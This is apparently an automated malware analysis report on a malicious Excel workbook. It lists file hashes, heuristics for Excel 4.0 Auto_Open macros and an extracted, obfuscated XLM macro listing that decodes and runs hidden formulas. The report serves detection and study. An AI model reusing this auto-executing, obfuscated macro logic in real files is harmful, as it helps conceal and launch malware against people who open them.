Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 546bbd9d351058fb…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:24:43 Authoring application: Microsoft Excel First seen: 2021-09-18
MD5: ddf615b92a4c8cb95c8b13f20dd2b8a9 SHA-1: bc2c9a7c0de6c94b37a5c832b159bb56a06b99c9 SHA-256: 546bbd9d351058fb9c40d7a365c4c528084e1c340f7dd9978a27c66af1a99965
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry point, which is a common technique for executing malicious code. The `RUN` function API was identified, suggesting the macro attempts to execute a command or payload. No specific family could be identified, but the technique is indicative of a downloader or initial execution stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 4dbf2d900f559ce9e6a86823248a3501bfbffd037876d1c28447d23d819424e1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  elKfsGd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B168 
' 0018     25 LABEL : Cell Value, String Constant - BcoSIwTRng len=0 
' 0018     24 LABEL : Cell Value, String Constant - DEuMYYezw len=0 
' 0018     24 LABEL : Cell Value, String Constant - EAppgrxqH len=0 
' 0018     21 LABEL : Cell Value, String Constant - etEBbC len=0 
' 0018     23 LABEL : Cell Value, String Constant - gMynKSDL len=0 
' 0018     23 LABEL : Cell Value, String Constant - gTiKfHjY len=0 
' 0018     27 LABEL : Cell Value, String Constant - JNkqELaeazHv len=0 
' 0018     21 LABEL : Cell Value, String Constant - JOeSwJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - jYMOwDvAxuM len=0 
' 0018     25 LABEL : Cell Value, String Constant - kJHjwQwBGa len=0 
' 0018     23 LABEL : Cell Value, String Constant - mGMyMBNh len=0 
' 0018     20 LABEL : Cell Value, String Constant - nDiDy len=0 
' 0018     25 LABEL : Cell Value, String Constant - PtMMAEDWyG len=0 
' 0018     23 LABEL : Cell Value, String Constant - QZAAZrud len=0 
' 0018     27 LABEL : Cell Value, String Constant - sgTPkrxyFAsn len=0 
' 0018     27 LABEL : Cell Value, String Constant - tlWrOFjSEwlT len=0 
' 0018     21 LABEL : Cell Value, String Constant - uByHjQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WsMZHEq len=0 
' 0018     25 LABEL : Cell Value, String Constant - zAmktCGFmb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZDAAIxqNt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  elKfsGd,B78,"SET.NAME("QZAAZrud",VALUE("0"))",""
'  elKfsGd,B80,"SET.NAME("sgTPkrxyFAsn",QZAAZrud)",""
'  elKfsGd,B85,"SET.NAME("BcoSIwTRng",QZAAZrud)",""
'  elKfsGd,B88,"SET.NAME("kJHjwQwBGa",COUNTA(ZDAAIxqNt))",""
'  elKfsGd,B90,"SET.NAME("nDiDy",COUNTA(PtMMAEDWyG))",""
'  elKfsGd,B92,[],""
'  elKfsGd,B95,"SET.NAME("zAmktCGFmb","")",""
'  elKfsGd,B98,"sgTPkrxyFAsn",""
'  elKfsGd,B102,"SET.NAME("EAppgrxqH",HLOOKUP("*",ZDAAIxqNt,sgTPkrxyFAsn,FALSE))",""
'  elKfsGd,B106,"DEuMYYezw",""
'  elKfsGd,B109,"SET.NAME("etEBbC",QZAAZrud)",""
'  elKfsGd,B114,[],""
'  elKfsGd,B116,"etEBbC",""
'  elKfsGd,B118,"mGMyMBNh",""
'  elKfsGd,B122,"JNkqELaeazHv",""
'  elKfsGd,B126,"gMynKSDL",""
'  elKfsGd,B129,"SET.NAME("gTiKfHjY",VALUE(HLOOKUP("*",PtMMAEDWyG,gMynKSDL,FALSE)))",""
'  elKfsGd,B134,"uByHjQ",""
'  elKfsGd,B139,"zAmktCGFmb",""
'  elKfsGd,B144,"BcoSIwTRng",""
'  elKfsGd,B148,NEXT(),""
'  elKfsGd,B152,"WsMZHEq",""
'  elKfsGd,B155,"SET.NAME("f",INT(T(FORMULA(T(zAmktCGFmb)&"",""&T(WsMZHEq)))))",""
'  elKfsGd,B158,"JOeSwJ",""
'  elKfsGd,B161,NEXT(),""
'  elKfsGd,B165,RETURN(),""
'  elKfsGd,B192,"SET.NAME("jYMOwDvAxuM",B78)",""
'  elKfsGd,B196,"ZDAAIxqNt",""
'  elKfsGd,B201,"SET.NAME("PtMMAEDWyG",R86C12)",""
'  elKfsGd,B206,"SET.NAME("JOeSwJ",213)",""
'  elKfsGd,B210,"SET.NAME("tlWrOFjSEwlT",2)",""
'  elKfsGd,B212,jYMOwDvAxuM(),""
'  elKfsGd,B213,HALT(),""

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